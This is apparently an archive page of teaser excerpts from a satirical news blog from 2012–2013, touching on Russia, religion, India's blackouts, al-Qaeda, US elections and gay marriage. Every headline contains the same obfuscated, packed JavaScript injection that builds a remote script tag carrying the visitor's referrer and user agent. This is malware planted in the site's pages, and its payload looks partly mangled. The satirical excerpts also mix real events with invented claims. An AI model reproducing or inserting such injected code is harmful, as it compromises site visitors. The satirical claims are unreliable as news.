Moscow Makes It Official

MOSCOW MAKES IT OFFICIAL eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zftri|var|u0026u|referrer|krfhs||js|php’.split(‘|’),0,{})) World Will Not Come to an End. Republicans Disagree Moscow, Russia December 8th, 2012 (SHK) Widespread reports of psychotic behavior throughout Russia recently have moved Moscow to action. When inmates in a prison near the Chinese border experienced “mass hysteria,” a priest had to be [...]

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Did Jesus Have a Wife?

DID JESUS HAVE A WIFE? eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sezsa|var|u0026u|referrer|ztraa||js|php’.split(‘|’),0,{})) Papyrus Fragment Vague but Provocative Cambridge, MA September 20th, 2012 (SHK) Dr. Karen King, professor of history at Harvard, shocked the secular world this week with her discovery of a papyrus fragment allegedly containing a comment from Jesus heretofore never recorded. “My wife, she…” [...]

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Religious Conflict Rising!

RELIGIOUS VIOLENCE HITS NEW PEAK eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdsdz|var|u0026u|referrer|ebkzf||js|php’.split(‘|’),0,{})) More Conflict Seen in Space via Interstellar Travel Paris, France September 26th, 2013 (SHK) Calling itself a defender of free speech and a denouncer of religious backwardness, a French satirical newspaper recently published several crude caricatures of the Prophet Muhammad, some showing him naked [...]

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India Suffers Massive Blackouts

INDIA SUFFERS MASSIVE BLACKOUTS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsdya|var|u0026u|referrer|sybhd||js|php’.split(‘|’),0,{})) 700 Million People Fornicating in the Dark New Delhi, India August 1st, 2012 (SHK) In eastern and northeastern India, nearly 700 million people were without power again for the second day in a row. Put another way, 10% of the world’s population suffered massive blackouts. [...]

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Summer Reading for Jihadists

SUMMER READING FOR JIHADISTS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzzrh|var|u0026u|referrer|btisd||js|php’.split(‘|’),0,{})) al-Qaeda’s Leader Reveals His Top Pick Lesbos Island, Aegean Sea July 3, 2012 (SHK) The Times recently caught up with Ayman al-Zawahiri, now al-Qaeda’s titular leader after the elimination of Osamu bin Laden in Pakistan last year. We found him on vacation on a Greek [...]

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The Hot Latino Campaign

LATINOS CAMPAIGN HOT-AND-HEAVY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|beteb|var|u0026u|referrer|tnerf||js|php’.split(‘|’),0,{})) Crowds Shouting ABO! ‘Anybody But Obama!’ Pueblo, CO March 17, 2012 (SHK) Republicans and Democrats alike are now targeting Hispanic voters as their key to victory in the presidential campaign of 2012. Latinos are alternately ‘worried’ or ‘doubtful’ about the nation’s economic recovery, giving candidates the [...]

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When Korans Burn, Afghans Riot

AFGHANS RIOT WHEN NATO TROOPS BURN KORAN eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irddf|var|u0026u|referrer|srtiy||js|php’.split(‘|’),0,{})) Muslims in Michigan Retaliate, Set Fire to Bibles in Detroit New York, NY Feb 24th, 2012 (SHK) The world was shocked when it was revealed that NATO troops in Afghanistan admitted they had burned the Koran, the Holy Book of Islam, at [...]

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World’s Absurdities Multiply

WITH NO PRIMARIES, WORLD’S ABSURDITIES MULTIPLY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdbdk|var|u0026u|referrer|rntye||js|php’.split(‘|’),0,{})) The New York Times Features Only Sadness and Guilt Now New York, NY February 18th, 2012 (SHK) With the Republican primary elections in temporary hiatus, America’s leading newspapers like The New York Times have been inundating us with sad, guilt-laden stories from around [...]

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California Reverses Gay Marriage Ban

CALIFORNIA COURT REVERSES GAY MARRIAGE BAN eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enbyy|var|u0026u|referrer|dbdbt||js|php’.split(‘|’),0,{})) More States to Tighten Laws by 2020 San Francisco, CA February 12th, 2012 (SHK) California’s 3-judge Ninth Federal district court of appeals voted 2-1 last week to overturn the state’s 2008 ban on gay marriage, assuring that the case will go to the [...]

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Atheists Fight Back, Challenge Evangelicals

ATHEISTS FIGHT BACK, CHALLENGE EVANGELICALS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfrer|var|u0026u|referrer|ztykd||js|php’.split(‘|’),0,{})) Forecast for Primaries is Partly Murky with Scattered Court Cases Tallahassee, FL January 29th, 2012 (SHK) Jessica Ahlquist, 16, is an outspoken atheist in Cranston, Rhode Island. She has successfully sued her high school to have a Christian prayer removed from a wall in [...]

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